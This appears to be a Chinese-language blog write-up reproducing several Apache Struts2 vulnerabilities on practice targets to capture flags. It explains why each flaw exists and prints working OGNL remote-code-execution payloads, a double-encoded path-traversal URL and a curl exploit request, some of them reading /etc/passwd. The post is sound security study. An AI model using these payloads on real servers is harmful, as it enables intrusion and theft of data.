banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Struts2全版本漏洞利用復現(長期更新)

事情起因#

用靶場熟悉下Struts2的漏洞利用工具

注意:單純的使用工具不能加深對漏洞的理解,熟悉漏洞原理才是重點

工具列舉#

HatBoy大佬的Struts2-Scan,以掃描某S2-001靶場為例:

image

鬼哥struts2(CVE-2013-2251)漏洞檢測工具 (90sec.org),同樣以某S2-001靶場為例:

image

Lucifer1993寫的struts-scanwindows下運行亂碼,以某S2-004靶場為例:

image

K8團隊的K8_Struts2_EXP,這裡以某S2-005靶場為例:

image

K8團隊的工具解壓密碼為k8gegek8teamK8team中的其中一個

天融信的工具,這裡以某S2-005靶場為例:

image

lz520520大佬的工具railgun,這裡以某 `` 靶場為例:

最常見到的Srtuts2 漏洞檢查工具2018版 V2.0 by 安恒應急響應中心 20180824,這裡以某 `` 靶場為例:

S2-001#

漏洞原因:

該漏洞因為用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然後重新填充到對應的表單數據中。例如註冊或登錄頁面,提交失敗後端一般會默認返回之前提交的數據,由於後端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行

靶場正常樣子:

image

在 password 地方輸入 %{1+1},點擊登錄,發現報錯返回解析成了 2,證明漏洞存在

獲取 tomcat 執行路徑:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image

獲取 Web 路徑:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image

執行命令:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

如果命令加參數:new java.lang.String[]{"cat","/etc/passwd"}

拿到flag

image

S2-004#

目錄遍歷漏洞

漏洞介紹:

Struts2 Dispatcher Logic by Design 允許為請求 URI 的 Web 應用程序類路徑中的某些靜態資源提供服務,請求 URI 的上下文相關路徑以 “/struts/” 開頭。filterDispatcher(在 2.0 中)和 defaultStaticContentLoader(在 2.1 中)存在安全漏洞,允許攻擊者使用雙編碼 URL 和相對路徑遍歷目錄結構並下載 “static” 內容文件夾之外的文件。
這說明存在文件遍歷漏洞,相對路徑遍歷是../../../ 的方式,但需要雙編碼,所以需要將../ 兩次 URL 編碼為..%252f

靶場實操:

image

根據提示,keyshowcase.jsp這個頁面中,通過目錄遍歷獲得key

URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp

image

S2-005#

遠程代碼執行漏洞,漏洞編號:CVE-2010-1870
影響版本: 2.0.0 - 2.1.8.1

原理 (參考吳翰清的《白帽子講 Web 安全》)

s2-005 漏洞的起源源於 S2-003 (受影響版本:低於 Struts 2.0.12),struts2 會將 http 的每個參數名解析為 OGNL 語句執行 (可理解為 java 代碼)。OGNL 表達式通過 #來訪問 struts 的對象,struts 框架通過過濾 #字符防止安全問題,然而通過 unicode 編碼 (\u0023) 或 8 進制 (\43) 即繞過了安全限制,對於 S2-003 漏洞,官方通過增加安全配置 (禁止靜態方法調用和類方法執行等) 來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用 OGNL 表達式將這 2 個選項打開,S2-003 的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上

XWork會將GET參數的鍵和值利用OGNL表達式解析成 Java 語句,如:user.address.city=Bishkek&user['favoriteDrink']=kumys會被轉化成

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

觸發漏洞就是利用了這個點,再配合OGNL的沙盒繞過方法,組成了S2-003。官方對003的修復方法是增加了安全模式(沙盒),S2-005 在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:

S2-003 使用\u0023繞過s2對#的防禦
S2-003 後官方增加了安全模式(沙盒)
S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼

靶場實操:

界面還做得挺好看:

image

無回顯POC:

action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

大概可以理解為,(aaa)(bbb) 中 aaa 作為 OGNL 表達式字符串,bbb 作為該表達式的 root 對象,所以一般 aaa 位置如果需要執行代碼,需要用引號包裹起來,而 bbb 位置可以直接放置 Java 語句。(aaa)(bbb)=true 實際上就是 aaa=true。不過確切怎麼理解,還需要深入研究,有待優化

POC 放到 tomcat8 下會返回 400,研究了一下發現字符 \、" 不能直接放 path 裡,需要 urlencode,編碼以後再發送就好了。這個 POC 沒回顯。

我嘗試多次後還是沒搞定,有機會遇到再搞,這裡就用現成的工具了

k8的命令執行:

image

S2-007#

漏洞類型:遠程代碼執行漏洞
漏洞原因:當配置了驗證規則 -validation.xml 時,若類型驗證轉換出錯,後端默認會將用戶提交的表單值通過字符串拼接,然後執行一次 OGNL 表達式解析並返回。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表達式。也就是一般出現在表單處
影響版本: 2.0.0 - 2.2.3

靶場復現:

image

在年齡中輸入非數字類型點擊登錄

image

image

年齡框的 value 變成 11,證明漏洞存在,執行任意代碼的 EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '

執行命令後查看不清楚可以ctrl+U查看網頁源碼,最終命令為cat ../../../key.txt得到key

image

S2-008#

漏洞類型:遠程代碼執行漏洞
影響版本:2.1.0 - 2.3.1
漏洞原理:

S2-008 涉及多個漏洞,Cookie 攔截器錯誤配置可造成 OGNL 表達式執行,但是由於大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字符限制,一些關鍵字符無法使用使得這個點顯得比較雞肋。另一個比較雞肋的點就是在 struts2 應用開啟 devMode 模式後會有多個調試接口能夠直接查看對象信息或直接執行命令,正如 kxlzx 所提這種情況在生產環境中幾乎不可能存在,因此就變得很雞肋的,但我認為也不是絕對的,萬一被黑了專門丟了一個開啟了 debug 模式的應用到服務器上作為後門也是有可能的。例如在 devMode 模式下直接添加參數?debug=command&expression=,會直接執行後面的 OGNL 表達式,因此可以直接執行命令(注意轉義):

action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[命令]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

修改其中的命令便可得到結果文件,用記事本打開即可查看。

靶場復現:

直接cat ../../../key.txt查看 (注意每次執行命令後都需要清空緩存,建議每執行一條命令換一個隱私窗口):

image

S2-009#

漏洞類型:遠程代碼執行漏洞
影響版本:2.1.0 - 2.3.1.1
漏洞原理:

Struts2 對 s2-003 的修復方法是禁止 #號,於是 s2-005 通過使用編碼 \u0023 或 \43 來繞過;於是 Struts2 對 s2-005 的修復方法是禁止 \ 等特殊符號,使用戶不能提交反斜線。

但是,如果當前 action 中接受了某個參數 example,這個參數將進入 OGNL 的上下文。所以,我們可以將 OGNL 表達式放在 example 參數中,然後使用 /helloword.acton?example=&(example)('xxx')=1 的方法來執行它,從而繞過官方對 #、\ 等特殊字符的防禦。

poc如下:

age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

需要以POST方式提交

靶場復現:

image

查找到存在漏洞的界面為第 5 個:/ajax/example5.action,用HackBarPOST方式執行ls

image

不能成功執行,那就換burpsuite

image

嘗試也無果,最後使用curl命令行工具直接提交並保存結果到文件:

curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt

image

ls命令修改為cat key.txt即可得到flag

image

總結#

暫無

參考文章:

本文完。(才怪)

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。